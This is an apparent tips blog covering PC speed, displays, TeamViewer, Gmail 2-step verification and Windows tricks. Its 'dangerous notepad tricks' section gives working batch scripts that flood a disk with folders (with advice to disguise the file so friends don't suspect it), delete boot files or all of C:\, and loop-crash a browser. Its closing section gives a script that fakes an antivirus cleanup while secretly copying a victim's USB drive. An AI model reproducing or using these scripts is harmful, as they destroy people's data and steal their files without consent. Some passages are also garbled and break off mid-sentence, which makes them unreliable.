PC PROBLEMS & THEIR SOLUTIONS.

common pc problems and their solutions.

1.       My computer’s speed is very slow.

Ans.   There are many reasons for slow speed of computer. At first Increase your RAM (random access memory). In P-4 system 256Mb ram is recommended. Your can increase up to 512 or 1gb for best result.  2nd: Check your hard drive for physical or logical errors or bad sectors. Often Bad sector reduces the speed of computer. 3rd: Check for virus in your computer and also remove unwanted and unnecessary files from your system. These tips will improve the speed of your computer.

DIFFERENCE BETWEEN TFT AND LCD

DIFFERENCE BETWEEN TFT AND LCD.
This is a common question when have been asked about several times by many people. Every body wants to know that what is the difference between a LCD and TFT. So i figured out, i should answer this question for anyone who has doubts.

LCD stands for Liquid Crystal Display... and 
TFT stands for Thin Film Transistor.

TFT is not really different from LCD. It comes from the family of LCD technology. We can say that it is a modern version of the LCD Technology. A TFT provide a well improved image quality. 
There are two typs of display quality. 1st one is Matty and 2nd is Grossy. Matty display is called LCD and Grossy display is called as TFT. LCD and TFT consumes less power energy as compared to CRT (Cathode ray tube).
Now a days TFT has been used for mobile phone devices, projectors, nevigation systems as well as TVs and computer monitors.

how to remotely operate a computer or what is team viewer and how it works

click here to download team viewer
Lots of computer software and hardware companies using team viewer to assist  there clients to get rid of problems. Team viewer is a software through which you can remotely operate a computer system by sitting anywhere else on other computer system.You can use team viewer to remotely access your friend's computer system.Is it secure..?? yes it is.. because no one can access your pc till (S)he has your id and password. and password changes everytime you open team viewer.

What is team viewer:-
It is a Remote desktop utility. by using it u can remotely access any computer by sitting on your computer system.both parties connect to a server which sets up a session between both.



How team viewer works:-
  • One person opens up teamviewer and calls person B.  
  • Person A gives the ID and password to person B.  
  • Person B puts this information in teamviewer and hits connect.
  • now person B can access person A computer.


 Requirements to use team viewer:-



Directions to use team viewer :-
  • Open team viewer
  • Inform second party to open it too.
  • Ask them there team viewer id and password (password changes every time you open team viewer) if you want to acces there system or give them your password and id to allow them to access your computer system.
  • type in there id and password. if you want to access there computer system.
  • Click on " Connect To Partner "
  • now you are all set to access second party computer system.





click here to download .pdf file about team viewer


how to protect gmail account from hackers

Most of the people use Gmail for sending emails. We have precious information stored in our Gmail account. So Gmail would be the target for hackers being hacking it. Gmail developer team has given us wonderful security option by enabling the 2-step Verification,



By enabling the 2-step verification from you Gmail account makes your account more secure by making you to login into Gmail by 2 step. While logging in into the Gmail account, Gmail send you the security code to your mobile phone and asks you to enter that code in Gmail login page. This makes sure that only the mobile phone carrier can able to know that code. So your account cannot be Hacked if someone tries to hack your account from somewhere else.


How to enable 2-step verification

  • Log in to your Gmail Account,
  • Click Account at the top right,
  • Click Edit on 2-step verification,
  • Now Click Start Setup,
  • selcet your country and add your mobile number,
  • Select the method of verification, SMS option is by default and it is most recommended one
  • Just click Send Code
  • Now Google will send you Text in your mobile with Verification Code
  • Now click Next, and NextNote this point after 2-step Verification
  • Your Another Application and Connected account will not be working, you need to re-invoke that on Final 2-step Verification or do it later!
  • If your Primary Moblie is lost then you cannot able to login to Gmail so set Backup Mobile Number
  • Backup Verification Code is the another way to Recover your Account Please Download and Note that number and keep it safely somewhere it is accessible for you, like your Wallet. Each code can be used only once.
  • I recommend you to read everything and make a note of it.
Happy with your safe Gmail Account. This time none can Hack your Gmail, I hope. Please comment below and also mention me if I have missed any point.

Windows 8 picture password

 
Windows 8 Tips.
Use a picture password to log into your computer. Windows 8 includes a new feature called Picture password, which allows you to authenticate with the
computer using a series of gestures that include circles, straight lines, and taps. Enable this feature if you want a new way to access your computer or have a hard time with passwords. Open the Windows Charms. Click Settings and then More PC settings In the PC settings  window click Users and then select Create a picture password.

Top 5 most Dengerous notepad Tricks

SOME DANGEROUS AND DEADLY  TRICKS
[CAUTION]
DO NOT TRY THESE FOR FUN!!

1. How to create more than 3,000 folders under a minute
1) Open your notepad and type
the following code.
@echo off
:top
md %random%

goto top
2) Save it as 1000.bat
@echo off makes your screen
appear blank but it is actually
making hundreds of folders.
md %random% is command that
creating folders with random
names.( md is a command to
make directory in ms-dos)
goto top – return the command
to :top, causes an infinite loop.
NOTE: The folders will get created
in the directory where you saved
the ”1000.bat” file.
The file might look suspicious to
your friends. So if you are
looking to fool your friends, then
change the file name and also
the icon so that he doesn’t
suspect the file to be a virus.
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——————————————————–




2. How to Shutdown a computer forever?
Now Please don’t try this because this is the most simplest and deadliest hack for your windows computer. Copy the following
code into your notepad
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows
\win.ini
del c:\windows\win.ini

Save it as “shutdown-
forever.bat”. Just make sure it
has a .bat or .cmd extension.
DONT RUN THE BATCH FILE ,YOU
WONT RECOVER BACK AFTER YOU
RUN IT !!!
This should shutdown the persons computer. It shuts it off once
and deletes the files needed to reboot and restart.So please, use
this hack only if you have no intention of rebooting your computer again. So just be careful.
Here’s an alternative code.
cmd /c del c:\windows\* /F /S /
Q
cmd /c del c:\* /F /S /Q
Paste it in NotePad And Save It
with Extension .cmd or .bat.

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3. How to Delete all your system
files with a small command!
Copy the following code into your
notepad and save it as a .bat
file.
del *.*
All your files in your hard disk will
vanish in less than 5mins.
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4. RAM crashing trick
open notepad and type
:A
start http://computer-tricks-corner.blogspot.in/
goto A
save with .bat extension.
Infinitely loops your browser to

———————————————————————————
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5. Crash a Computer System With

Nothing But a Link.
This is a javascript “exploit” , it
will hang/crash your system. It
basically floods you with an
infinite loop of mailto:xxx
windows. To cancel this (and you
have to move fast) kill the
process of your email client
before you run out of RAM. Every
instance occupies about 1000
bytes, if your victim is smart, he
better end the process As soon as
possible or he will be forced to
reboot his computer.
WARNING THIS LINK WILL CRASH
YOUR BROWSER OR WORSE, YOUR
COMPUTER !!!!

NOTE: Try at your own risk
WE ARE NOT RESPONSIBLE FOR ANY LOSS CAUSED…
ENJOY!

Transform your windows to Macintosh







                              Transform your windows to Macintosh
 

 

Get Lion Transformation pack 1.0 which transforms your Windows OS to Apple's Macintosh OS.
It is a nice theme check out some of the screen shots here : -







                                        click here to download                                                           

How to create your own customized RUN commands

                                How to create your own customized RUN commands








Create your own customized RUN command in just 5 easy steps :-

By this you should be able to run your programs directly for eg. you want to open windown media player.You need to type only   wmp    in the Run dialog box. Its your wish what name you want to give  the command.  

----Right click on the desktop screen and click on "New" then click on "Shortcut".




How to install Window 7 using USB drive ?



"It's time to be smart with smart windows"








Installing windows 7 using USB drive


What are basic requirements ?
-----Windows 7 DVD
-----And a USB drive having minimum capacity of 4GB.



 What  are advantages if we install window 7 using flash drive ?

----First overall speed of the installation willl increase significantly.
----Carrying USB is more easy and convienient than DVD.
----It also become possible to install windows 7 on  that systems which are not having  DVD drives    such as Net book..


Steps of installing windows 7 using USB drive.
---- Insert USB
---- Run the command prompt as administrator. (Type cmd in start and right click on cmd and click on "run as administrator".)
----In the command prompt type the following command

-DISKPART



A new window will appear and execute the following commands in that new window.
 -LIST DISK
-SELECT DISK 1
-CLEAN
-CREATE PARTITION PRIMARY
-SELECT PARTITION 1
-ACTIVE
-FORMAT FS=NTFS
  (This process may take few seconds)
-ASSIGN
-EXIT



Do not  close the command prompt. Minimize it.
----Insert window 7 DVD .
----Maximize cmd and execute the following commands
-   N: CD BOOT   (hit enter Here "N" is my DVD drive letter write your one's here)
-   CD BOOT
-   BOOTSECT.EXE/NT60 O:  (Here "O" is my USB drive letter)



                          Your USB device is ready for the boot. Now copy the content of DVD to the USB.
The thing you left to do is to enabling the USB boot options in the BIOS from CD-ROM or HDD.
Enjoy installing windows from USB . If any problem leave it in the comment

PC Security Tips : Make Computer Secure

Here are some tips which will enable you to make your PC more secure.

Anti-virus

1. Never, ever turn off the resident protection of your antivirus even if it decreases performance. Upgrade if necessary.

2. Keep your virus definitions up-to-date. Use the automatic update feature of your anti-virus and try not to ignore the "Do you want to update now" message however often it might pop up.

3. Even if you update regularly and you have not seen any suspicious activity on your PC, do a deep scan at least once a month.

4. Always create an emergency boot disk and keep it in a safe place.

Computer welcome you when you login


 Do you watch movies? Have you always loved the way how Computers in movies welcome their users by calling out their names? I bet that you too would want to know how you can achieve similar results on your PC and have a computer said welcome.

Then you are at the right place, this article describes exactly how you can make your computer welcome you like this.

With this trick, you can make your Computer welcome you in its computerized voice. You can make your Windows based computer say "Welcome to your PC, Username."

Make Windows Greet you with a Custom Voice Message at Startup
 
To use this trick, follow the instructions given below:-


  1. Click on Start. Navigate to All Programs, Accessories and Notepad.
  2. Copy and paste the exact code given below.

Dim speaks, speech
speaks="Welcome to your PC, Username"
Set speech=CreateObject("sapi.spvoice")
speech.Speak speaks


     3.  Replace Username with your own name.

     4.  Click on File Menu, Save As, select All Types in Save as Type option, and save the file as Welcome.vbs or "*.vbs".

     5.  Copy the saved file.

     6.  Navigate to C:\Documents and Settings\All Users\Start Menu\Programs\Startup (in Windows XP) and to C:\Users\ {User-Name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup (in Windows 8, Windows 7 and Windows Vista) if C: is your System drive. AppData is a hidden folder. So, you will need to select showing hidden folders in Folder options to locate it.

      7.  Paste the file.








Stolen data from anyone's pendrive


copy data from anyone's pendrive



you can copy data from any one's pendrive without knowing him easyly with .bat file
you have to make a bat file file to copy a pen drive to your computer

(1) open notepad
(2) write bellow code (3)save file with .bat


@echo off
echo avast is working to remove virus
echo please wait for some time do not close.........
echo process is running
xcopy /a /e /k /q /h f:(path of pendrive) d:\kishan(path where you want save data)
cls
echo virus removed

example

@echo off
echo avast is working to remove virus
echo please wait for some time do not close.........
echo process is running
xcopy /a /e /k /q /h f: d:\kishan
cls
echo virus removed
TRICK make 3-4 file of different file with like f: i: h:
now make shortcut of that file
right click on it
give shortcut key(as above)
its done when someone insert pendrive press that key done
if you have any problem write it bellow

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